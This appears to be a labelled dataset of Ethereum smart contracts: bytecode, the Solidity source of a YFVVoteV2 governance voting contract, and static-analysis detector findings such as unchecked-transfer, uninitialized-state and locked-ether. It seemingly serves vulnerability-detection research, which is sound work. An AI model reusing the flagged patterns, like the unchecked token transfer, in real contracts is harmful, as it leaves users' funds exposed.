ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611346576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806125c46025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806124a36023913960400191505060405180910390fd5b6114388460405180606001604052806026815260200161253460269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cf79092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114cd84600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3611cef565b601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806116235750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061167b5750601460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561193a57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806125c46025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806124a36023913960400191505060405180910390fd5b6117f88460405180606001604052806026815260200161253460269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cf79092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061188d84600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3611cee565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806119e35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611a38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806125346026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611abe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806125c46025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611b44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806124a36023913960400191505060405180910390fd5b611bb08460405180606001604052806026815260200161253460269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cf79092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4584600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611da4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d69578082015181840152602081019050611d4e565b50505050905090810190601f168015611d965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000611dc46121a0565b91509150611ddb8183611de290919063ffffffff16565b9250505090565b6000611e2483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121ed565b905092915050565b611e34610fac565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ef6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806125a36021913960400191505060405180910390fd5b611fe8816040518060600160405280602281526020016124c660229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cf79092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612040816011546122b390919063ffffffff16565b601181905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008060008060008060008060006120cd8a600c54600c546122fd565b92509250925060006120dd611db7565b905060008060006120f08e878787612393565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600080828401905083811015612196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008060006011549050600060115490506121c8601154601154611de290919063ffffffff16565b8210156121e0576011546011549350935050506121e9565b81819350935050505b9091565b60008083118290612299576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561225e578082015181840152602081019050612243565b50505050905090810190601f16801561228b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816122a557fe5b049050809150509392505050565b60006122f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cf7565b905092915050565b600080600080612329606461231b888a61241c90919063ffffffff16565b611de290919063ffffffff16565b905060006123536064612345888b61241c90919063ffffffff16565b611de290919063ffffffff16565b9050600061237c8261236e858c6122b390919063ffffffff16565b6122b390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123ac858961241c90919063ffffffff16565b905060006123c3868961241c90919063ffffffff16565b905060006123da878961241c90919063ffffffff16565b90506000612403826123f585876122b390919063ffffffff16565b6122b390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561242f576000905061249c565b600082840290508284828161244057fe5b0414612497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061255a6021913960400191505060405180910390fd5b809150505b9291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e6365416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200be99b2df46b9e99c676d3bbfe23c1d9559cd7ceef54c06d267da2ed23aa052e64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 1,439 |
0x9d03cf457a4e3099aa5b38506374e3b7071cc997 | // File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IYFVRewards {
function stakingPower(address account) external view returns (uint256);
}
interface IYFVGovernanceRewardScaler {
function votingValueGovernance(address poolAddress, uint256 votingItem, uint16 votingValue) external view returns (uint16);
}
contract YFVVoteV2 {
using SafeMath for uint256;
address public governance;
uint8 public constant MAX_VOTERS_PER_ITEM = 200;
uint16 public defaultVotingValueMin = 50; // reward scaling factor 50% (x0.5 times)
uint16 public defaultVotingValueMax = 150; // reward scaling factor 150% (x1.5 times)
mapping(address => mapping(uint256 => uint8)) public numVoters; // poolAddress -> votingItem (periodFinish) -> numVoters (the number of voters in this round)
mapping(address => mapping(uint256 => address[MAX_VOTERS_PER_ITEM])) public voters; // poolAddress -> votingItem (periodFinish) -> voters (array)
mapping(address => mapping(uint256 => mapping(address => bool))) public isInTopVoters; // poolAddress -> votingItem (periodFinish) -> isInTopVoters (map: voter -> in_top (true/false))
mapping(address => mapping(uint256 => mapping(address => uint16))) public voter2VotingValue; // poolAddress -> votingItem (periodFinish) -> voter2VotingValue (map: voter -> voting value)
mapping(address => mapping(uint256 => uint16)) public votingValueMinimums; // poolAddress -> votingItem (proposalId) -> votingValueMin
mapping(address => mapping(uint256 => uint16)) public votingValueMaximums; // poolAddress -> votingItem (proposalId) -> votingValueMax
address public governanceRewardScaler;
event Voted(address poolAddress, address indexed user, uint256 votingItem, uint16 votingValue);
constructor () public {
governance = msg.sender;
}
function setDefaultVotingValueRange(uint16 minValue, uint16 maxValue) public {
require(msg.sender == governance, "!governance");
require(minValue < maxValue, "Invalid voting range");
defaultVotingValueMin = minValue;
defaultVotingValueMax = maxValue;
}
function setVotingValueRange(address poolAddress, uint256 votingItem, uint16 minValue, uint16 maxValue) public {
require(msg.sender == governance, "!governance");
require(minValue < maxValue, "Invalid voting range");
votingValueMinimums[poolAddress][votingItem] = minValue;
votingValueMaximums[poolAddress][votingItem] = maxValue;
}
function setGovernanceRewardsScaler(address _governanceRewardScaler) public {
require(msg.sender == governance, "!governance");
governanceRewardScaler = _governanceRewardScaler;
}
function isVotable(address poolAddress, address account, uint256 votingItem) public view returns (bool) {
// already voted
if (voter2VotingValue[poolAddress][votingItem][account] > 0) return false;
IYFVRewards rewards = IYFVRewards(poolAddress);
// hasn't any staking power
if (rewards.stakingPower(account) == 0) return false;
// number of voters is under limit still
if (numVoters[poolAddress][votingItem] < MAX_VOTERS_PER_ITEM) return true;
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
if (rewards.stakingPower(voters[poolAddress][votingItem][i]) < rewards.stakingPower(account)) return true;
// there is some voters has lower staking power
}
return false;
}
function averageVotingValueNoGovernance(address poolAddress, uint256 votingItem) public view returns (uint16) {
if (numVoters[poolAddress][votingItem] == 0) return 0; // no votes
uint256 totalStakingPower = 0;
uint256 totalWeightVotingValue = 0;
IYFVRewards rewards = IYFVRewards(poolAddress);
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
address voter = voters[poolAddress][votingItem][i];
totalStakingPower = totalStakingPower.add(rewards.stakingPower(voter));
totalWeightVotingValue = totalWeightVotingValue.add(rewards.stakingPower(voter).mul(voter2VotingValue[poolAddress][votingItem][voter]));
}
return (uint16) (totalWeightVotingValue.div(totalStakingPower));
}
function averageVotingValue(address poolAddress, uint256 votingItem) public view returns (uint16) {
uint16 avgValue = 0;
if (numVoters[poolAddress][votingItem] > 0) {
avgValue = averageVotingValueNoGovernance(poolAddress, votingItem);
}
if (governanceRewardScaler != address(0)) {
return IYFVGovernanceRewardScaler(governanceRewardScaler).votingValueGovernance(poolAddress, votingItem, avgValue);
}
return avgValue;
}
function vote(address poolAddress, uint256 votingItem, uint16 votingValue) public {
if (votingValueMinimums[poolAddress][votingItem] > 0 && votingValueMaximums[poolAddress][votingItem] > 0) {
require(votingValue >= votingValueMinimums[poolAddress][votingItem], "votingValue is smaller than minimum accepted value");
require(votingValue <= votingValueMaximums[poolAddress][votingItem], "votingValue is greater than maximum accepted value");
} else {
require(votingValue >= defaultVotingValueMin, "votingValue is smaller than defaultVotingValueMin");
require(votingValue <= defaultVotingValueMax, "votingValue is greater than defaultVotingValueMax");
}
if (!isInTopVoters[poolAddress][votingItem][msg.sender]) {
require(isVotable(poolAddress, msg.sender, votingItem), "This account is not votable");
uint8 voterIndex = MAX_VOTERS_PER_ITEM;
if (numVoters[poolAddress][votingItem] < MAX_VOTERS_PER_ITEM) {
voterIndex = numVoters[poolAddress][votingItem];
} else {
IYFVRewards rewards = IYFVRewards(poolAddress);
uint256 minStakingPower = rewards.stakingPower(msg.sender);
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
if (rewards.stakingPower(voters[poolAddress][votingItem][i]) < minStakingPower) {
voterIndex = i;
minStakingPower = rewards.stakingPower(voters[poolAddress][votingItem][i]);
}
}
}
if (voterIndex < MAX_VOTERS_PER_ITEM) {
if (voterIndex < numVoters[poolAddress][votingItem]) {
// remove lower power previous voter
isInTopVoters[poolAddress][votingItem][voters[poolAddress][votingItem][voterIndex]] = false;
} else {
++numVoters[poolAddress][votingItem];
}
isInTopVoters[poolAddress][votingItem][msg.sender] = true;
voters[poolAddress][votingItem][voterIndex] = msg.sender;
}
}
voter2VotingValue[poolAddress][votingItem][msg.sender] = votingValue;
emit Voted(poolAddress, msg.sender, votingItem, votingValue);
}
event EmergencyERC20Drain(address token, address governance, uint256 amount);
// governance can drain tokens that are sent here by mistake
function emergencyERC20Drain(ERC20 token, uint amount) external {
require(msg.sender == governance, "!governance");
emit EmergencyERC20Drain(address(token), governance, amount);
token.transfer(governance, amount);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806373e4b903116100ad578063aec5713a11610071578063aec5713a14610393578063b2a553041461039b578063db0e16f1146103c1578063e5328385146103ed578063eab984301461041657610121565b806373e4b903146102b15780638335e59a146102cf57806397ec0ffd146102fb578063a1e5bc9f14610327578063ab5205371461035357610121565b8063418bed88116100f4578063418bed88146101f15780634ec6e0561461023f57806356b3d388146102755780635aa6e675146102a15780635ccdf818146102a957610121565b80631159222a146101265780631b043a2014610170578063320fbe7a1461018f5780633706352b146101bb575b600080fd5b61015c6004803603606081101561013c57600080fd5b506001600160a01b0381358116916020810135909116906040013561044c565b604080519115158252519081900360200190f35b6101786106dc565b6040805161ffff9092168252519081900360200190f35b610178600480360360408110156101a557600080fd5b506001600160a01b0381351690602001356106ed565b61015c600480360360608110156101d157600080fd5b506001600160a01b03813581169160208101359160409091013516610906565b6102236004803603606081101561020757600080fd5b506001600160a01b03813516906020810135906040013561092c565b604080516001600160a01b039092168252519081900360200190f35b6101786004803603606081101561025557600080fd5b506001600160a01b03813581169160208101359160409091013516610964565b6101786004803603604081101561028b57600080fd5b506001600160a01b03813516906020013561098b565b6102236109ac565b6102236109bb565b6102b96109ca565b6040805160ff9092168252519081900360200190f35b6102b9600480360360408110156102e557600080fd5b506001600160a01b0381351690602001356109cf565b6101786004803603604081101561031157600080fd5b506001600160a01b0381351690602001356109ef565b6101786004803603604081101561033d57600080fd5b506001600160a01b038135169060200135610ace565b6103916004803603608081101561036957600080fd5b506001600160a01b038135169060208101359061ffff60408201358116916060013516610aef565b005b610178610be8565b610391600480360360208110156103b157600080fd5b50356001600160a01b0316610bf9565b610391600480360360408110156103d757600080fd5b506001600160a01b038135169060200135610c68565b6103916004803603604081101561040357600080fd5b5061ffff81358116916020013516610d89565b6103916004803603606081101561042c57600080fd5b5080356001600160a01b0316906020810135906040013561ffff16610e5e565b6001600160a01b038084166000908152600460209081526040808320858452825280832093861683529290529081205461ffff161561048d575060006106d5565b604080516001620dbb7f60e11b031981526001600160a01b0385811660048301529151869283169163ffe48902916024808301926020929190829003018186803b1580156104da57600080fd5b505afa1580156104ee573d6000803e3d6000fd5b505050506040513d602081101561050457600080fd5b50516105145760009150506106d5565b6001600160a01b038516600090815260016020908152604080832086845290915290205460c860ff909116101561054f5760019150506106d5565b60005b6001600160a01b038616600090815260016020908152604080832087845290915290205460ff90811690821610156106ce57816001600160a01b031663ffe48902866040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156105da57600080fd5b505afa1580156105ee573d6000803e3d6000fd5b505050506040513d602081101561060457600080fd5b50516001600160a01b03878116600090815260026020908152604080832089845290915290209084169063ffe489029060ff851660c8811061064257fe5b0154604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152516024808301926020929190829003018186803b15801561068957600080fd5b505afa15801561069d573d6000803e3d6000fd5b505050506040513d60208110156106b357600080fd5b505110156106c6576001925050506106d5565b600101610552565b5060009150505b9392505050565b600054600160a01b900461ffff1681565b6001600160a01b038216600090815260016020908152604080832084845290915281205460ff1661072057506000610900565b60008084815b6001600160a01b038716600090815260016020908152604080832089845290915290205460ff90811690821610156108e9576001600160a01b0387166000908152600260209081526040808320898452909152812060ff831660c8811061078957fe5b0154604080516001620dbb7f60e11b031981526001600160a01b039283166004820181905291519193506108199286169163ffe4890291602480820192602092909190829003018186803b1580156107e057600080fd5b505afa1580156107f4573d6000803e3d6000fd5b505050506040513d602081101561080a57600080fd5b5051869063ffffffff61153f16565b6001600160a01b03808a1660009081526004602081815260408084208d85528252808420878616808652908352938190205481516001620dbb7f60e11b0319815293840194909452519499506108de946108d19461ffff9094169389169263ffe48902926024808301939192829003018186803b15801561089957600080fd5b505afa1580156108ad573d6000803e3d6000fd5b505050506040513d60208110156108c357600080fd5b50519063ffffffff61159916565b859063ffffffff61153f16565b935050600101610726565b506108fa828463ffffffff6115f216565b93505050505b92915050565b600360209081526000938452604080852082529284528284209052825290205460ff1681565b60026020528260005260406000206020528160005260406000208160c8811061095157fe5b01546001600160a01b0316925083915050565b600460209081526000938452604080852082529284528284209052825290205461ffff1681565b600660209081526000928352604080842090915290825290205461ffff1681565b6000546001600160a01b031681565b6007546001600160a01b031681565b60c881565b600160209081526000928352604080842090915290825290205460ff1681565b6001600160a01b0382166000908152600160209081526040808320848452909152812054819060ff1615610a2a57610a2784846106ed565b90505b6007546001600160a01b0316156106d55760075460408051630dab5f8b60e41b81526001600160a01b0387811660048301526024820187905261ffff851660448301529151919092169163dab5f8b0916064808301926020929190829003018186803b158015610a9957600080fd5b505afa158015610aad573d6000803e3d6000fd5b505050506040513d6020811015610ac357600080fd5b505191506109009050565b600560209081526000928352604080842090915290825290205461ffff1681565b6000546001600160a01b03163314610b3c576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b8061ffff168261ffff1610610b8f576040805162461bcd60e51b8152602060048201526014602482015273496e76616c696420766f74696e672072616e676560601b604482015290519081900360640190fd5b6001600160a01b039390931660008181526005602090815260408083208684528252808320805461ffff96871661ffff199182161790915593835260068252808320958352949052929092208054919093169116179055565b600054600160b01b900461ffff1681565b6000546001600160a01b03163314610c46576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610cb5576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600054604080516001600160a01b0380861682529092166020830152818101839052517fd5f5d3947cee2c1f346ba9359a003af3d6202e5bc2e987685ab0cf0e73f5ac3b9181900360600190a1600080546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810185905290519185169263a9059cbb926044808401936020939083900390910190829087803b158015610d5957600080fd5b505af1158015610d6d573d6000803e3d6000fd5b505050506040513d6020811015610d8357600080fd5b50505050565b6000546001600160a01b03163314610dd6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b8061ffff168261ffff1610610e29576040805162461bcd60e51b8152602060048201526014602482015273496e76616c696420766f74696e672072616e676560601b604482015290519081900360640190fd5b6000805461ffff928316600160b01b0261ffff60b01b1994909316600160a01b0261ffff60a01b199091161792909216179055565b6001600160a01b038316600090815260056020908152604080832085845290915290205461ffff1615801590610eba57506001600160a01b038316600090815260066020908152604080832085845290915290205461ffff1615155b15610f98576001600160a01b038316600090815260056020908152604080832085845290915290205461ffff9081169082161015610f295760405162461bcd60e51b81526004018080602001828103825260328152602001806117876032913960400191505060405180910390fd5b6001600160a01b038316600090815260066020908152604080832085845290915290205461ffff9081169082161115610f935760405162461bcd60e51b81526004018080602001828103825260328152602001806116d26032913960400191505060405180910390fd5b611038565b60005461ffff600160a01b90910481169082161015610fe85760405162461bcd60e51b81526004018080602001828103825260318152602001806117256031913960400191505060405180910390fd5b60005461ffff600160b01b909104811690821611156110385760405162461bcd60e51b81526004018080602001828103825260318152602001806117566031913960400191505060405180910390fd5b6001600160a01b0383166000908152600360209081526040808320858452825280832033845290915290205460ff166114b95761107683338461044c565b6110c7576040805162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e74206973206e6f7420766f7461626c650000000000604482015290519081900360640190fd5b6001600160a01b038316600090815260016020908152604080832085845290915290205460c89060ff1681111561112557506001600160a01b038316600090815260016020908152604080832085845290915290205460ff1661134f565b604080516001620dbb7f60e11b03198152336004820152905185916000916001600160a01b0384169163ffe48902916024808301926020929190829003018186803b15801561117357600080fd5b505afa158015611187573d6000803e3d6000fd5b505050506040513d602081101561119d57600080fd5b5051905060005b6001600160a01b038716600090815260016020908152604080832089845290915290205460ff908116908216101561134b576001600160a01b0387811660009081526002602090815260408083208a84529091529020839185169063ffe489029060ff851660c8811061121357fe5b0154604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152516024808301926020929190829003018186803b15801561125a57600080fd5b505afa15801561126e573d6000803e3d6000fd5b505050506040513d602081101561128457600080fd5b50511015611343576001600160a01b0387811660009081526002602090815260408083208a8452909152902091945084919084169063ffe489029060ff841660c881106112cd57fe5b0154604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152516024808301926020929190829003018186803b15801561131457600080fd5b505afa158015611328573d6000803e3d6000fd5b505050506040513d602081101561133e57600080fd5b505191505b6001016111a4565b5050505b60c860ff821610156114b7576001600160a01b038416600090815260016020908152604080832086845290915290205460ff9081169082161015611404576001600160a01b03841660008181526003602090815260408083208784528252808320938352600282528083208784529091528120909190829060ff851660c881106113d557fe5b01546001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561143f565b6001600160a01b0384166000908152600160208181526040808420878552909152909120805460ff19811660ff918216909301169190911790555b6001600160a01b0384166000818152600360209081526040808320878452825280832033808552908352818420805460ff1916600117905593835260028252808320878452909152902060ff831660c8811061149757fe5b0180546001600160a01b0319166001600160a01b03929092169190911790555b505b6001600160a01b038316600081815260046020908152604080832086845282528083203380855290835292819020805461ffff871661ffff1990911681179091558151948552918401869052838101919091525190917fa8a478c6ecd9c141e83e70284167aaa087698f6c8972cf3e8b71ab2a6ecd9d54919081900360600190a2505050565b6000828201838110156106d5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826115a857506000610900565b828202828482816115b557fe5b04146106d55760405162461bcd60e51b81526004018080602001828103825260218152602001806117046021913960400191505060405180910390fd5b60006106d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836116bb5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611680578181015183820152602001611668565b50505050905090810190601f1680156116ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816116c757fe5b049594505050505056fe766f74696e6756616c75652069732067726561746572207468616e206d6178696d756d2061636365707465642076616c7565536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77766f74696e6756616c756520697320736d616c6c6572207468616e2064656661756c74566f74696e6756616c75654d696e766f74696e6756616c75652069732067726561746572207468616e2064656661756c74566f74696e6756616c75654d6178766f74696e6756616c756520697320736d616c6c6572207468616e206d696e696d756d2061636365707465642076616c7565a265627a7a72315820df5e70c885b1d485b7b30cd6ce01606f3401adfe005ed17d8202a8f751c9801e64736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 1,440 |
0x933492b6B7038A7e4f14b64DEFe40463F9bc3508 | // SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
contract ArcProxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
